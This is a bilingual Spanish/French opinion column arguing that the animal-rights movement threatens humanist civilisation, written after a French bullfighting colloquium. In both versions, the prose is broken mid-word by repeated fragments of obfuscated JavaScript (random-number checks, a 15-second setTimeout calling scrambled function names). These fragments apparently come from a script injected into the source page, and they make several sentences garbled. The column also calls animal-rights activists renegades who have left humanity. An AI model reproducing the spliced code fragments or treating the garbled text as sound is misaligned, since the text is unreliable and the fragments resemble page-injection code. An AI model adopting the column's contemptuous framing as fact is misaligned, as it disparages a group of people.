EL DEDO EN LA LLAGALES POINTS SUR LES I

Eso es precisamente lo que ha conseguido poner el pasado día 4 de octubre el coloquio convocado por el Observatorio de Culturas Taurinas, con el apoyo de la Unión de Ciudades Taurinas de Francia, para tratar el tema de la relación del hombre con los animales, al considerarlo ni más ni menos que un asunto de Civilización y lograr que el Senado francés solicite una comisión de investigación sobre el movimiento animalista, cuyo fanatismo pone en riesgo de ruptura el modelo de civilización grecorromana que cimenta nuestra cultura.

Creo que hasta dicho día nadie había acertado a situar las pretensiones del animalismo en su justa dimensión, considerándolo un  problema civilizatorio. Un problema, por tanto, mucho más amplio y profundo que el que nos afecta a los taurinos con el peligro de abolición de las corridas, a las familias del circo con la supresión de exhibir y amaestrar animales, a los cazadores para seguir practicandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando su reglada actividad cinegética o a la propia gente del campo en su crianza o trato con el animal.

A riesgo de caer en el hartazgo, volveremos a insistir en que, como seres humanos, tenemos nuestras obligaciones con los animales en función de lo que sean y lo que son para nosotros; pero el cumplimiento de esas obligaciones no puede llevarnos, como pretende el fanatismo animalista, a equipararnos con ellos ni a dotarlos de unos derechos inexistentes por cuanto son individuos a los que no puede exigírseles ninguna responsabilidad social o moral.

Como han precisado correctamente las conclusiones del coloquio francés, lo que está en juego es nuestro concepto de civilización y, en particular, el humanismo que la sustenta. Un humanismo que surge en el Renacimiento con la noción del “hombre” enfrentado al cosmos; un hombre que, ante la inmensidad cósmica que puede aniquilarlo de un zarpazo, se yergue armado de su “logos”, de ese arma llamada “razón” que nos hace distintos y superiores a cualquier otra especie animal.

Frente a la ideología halagadora con que el animalismo –el “mascotismo” deberíamos decir– actúa sobre la sensibilidad más superficial, el hombre del logos opone otra más profunda, más conocedora, fruto de una experiencia de milenios, que los animalistas obvian o niegan, contemplandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando como un error terráqueo las tradicionales relaciones del hombre con el resto de los animales. Pero esta negación del humanismo –del antropocentrismo, como ellos lo llaman– es una exclusión totalmente arbitraria que no consigue salir del ámbito estrictamente humano, pues si descorremos el telón donde el animalista se erige caprichosamente en portavoz de los animales –ningún animal les “ha pedido” que lo haga–, no veremos a ningún toro, lobo u oso, ballena o golondrina, dictándonos sus reivindicaciones de existencia, sino a otro hombre, igual que el resto, tan falible como el resto, que, respaldado por los mercaderes y santones del negocio más lucrativo del mundo, ha decidido oponer sus creencias a las ideas de quienes seguimos considerandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando la especie humana distinta a las demás, por haber superado una criba –la selección cultural– sólo dable a quienes gozan de inteligencia abstracta.

El animalista es un hombre desentendido del hombre. Le preocupa bien poco la trama interna del vivir humano. Es más, es un hombre avergonzado de serlo; un hombre que desprecia a sus semejantes a los que hace culpables de todo cuanto les pasa… ¡Cómo si nuestra libertad nos permitiera optar por la vida que se nos antoje!

El animalista es un ser que a fuerza de apartarse tanto de los asuntos vitales de sus congéneres, se ha salido de la humanidad, pues sólo a un renegado de tal jaez puede importarle lo mismo la vida de un cachorro que de un bebé y degradar al hombre, porque le da la gana, situándolo al mismo ras que cualquier bestia.

Bajo la coartada del maltrato animal, subyace una guerra frontal entre la razón y el irracionalismo; entre el humanismo y su aniquilación. Es nuestra cultura y civilización los que están en juego.

Que no se nos olvide.

C’est ce qui est arrivé le 4 octobre dernier  lors du colloque de l’Observatoire des Cultures Taurines avec le soutien de l’UVTF en analysant la relation entre l’homme et l’animal, considérant que cela était  une affaire de la civilisation, parvenant à ce que le Sénat français sollicite une Commission d’investigation à propos des mouvements de protection des animaux dont le fanatisme met en danger le modèle de civilisation gréco-romaine à la base de notre culture.

Je crois que jusqu’à ce jour personne n’était parvenu à déterminer exactement quel est le vrai but de ce mouvement, le considérant comme un problème de civilisation. Un problème par conséquent beaucoup plus vaste et profond que celui nous concernant les taurins avec le danger d’abolition des corridas, ou le monde du cirque avec l’interdiction d’exhiber ou de dresser des animaux, ou les chasseurs pour continuer à pratiquer leur activité encadrée cynégétique ou les gens de la campagne dans l’élevage de leur bétail.

Au risque d’en être saturés, insistons quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and même qu’en tant qu’être humains en fonction de ce que sont et représentent pour nous les animaux ; mais pour remplir nos obligations nous ne devons pas, comme le prétend le fanatisme de ces mouvements,  considérer l’animal au même niveau que l’homme et avec les mêmes droits, puisque on ne peut exiger d’eux aucune responsabilité morale ou sociale.

Comme l’ont bien précisé les conclusions de ce colloque en France, ce qui est en jeu c’est notre conception de la société et en particulier l’humanisme sur lequel elle se base. Un humanisme qui apparaît à la Renaissance avec cette notion de « l’homme » confronté au cosmos ; un homme qui devant l’immensité cosmique qui peut l’anéantir d’un coup, se dresse armé de son « logos », de cet arme inspirée qui nous rend différents et supérieurs à tout autre espèce animale. Mais cette négation de l’humanisme –de l’anthropocentrisme, comme eux l’appellent-, est une exclusion tout à fait arbitraire qui ne parvient à sortir du cadre strictement humain, car si nous levons le voile de ces prétendus défenseurs et porte paroles des animaux -aucun animal n’a demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andé à ce qu’ils le fassent-,  nous ne verrons aucun toro, ni aucun loup ou ours, baleine ou hirondelle, nous dictant leurs revendications existentielles, mais si, par contre, un autre homme, semblable aux autres, aussi faillible, qui, soutenu par les marchandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands et apôtres du business le plus lucratif au monde, a décidé de confronter ses croyances aux idées de ceux qui considérons toujours l’espèce humaine comme différente des autres, pour s’être hissé au-delà des autres –par sélection culturelle- du fait de son intelligence abstraite.

Le « défenseur des animaux » est un homme en désaccord avec l’homme. La trame interne du vécu humain l’intéresse bien peu. C’est un homme honteux de l’être ; un homme qui méprise ses semblables et les rend coupables de tout ce qui se passe. Comme si notre liberté nous permettait de choisir la vie que l’on rêve !

Le « défenseur des animaux » est un être qui à force de s’écarter des problèmes réels de ses congénères,  a quitté l’humanité car seul un renégat d’un tel calibre peut attacher autant d’importance à la vie d’un chiot et à celle d’un bébé et dégrader l’homme, parce que cela lui prend, le plaçant au même niveau que celui d’une bête.

Sous l’alibi de la maltraitance animale, se cache une guerre frontale entre la raison et l’irrationnel ; entre l’humanité et sa perte. Ce sont notre civilisation et notre culture qui sont en jeu. Ne l’oublions pas.

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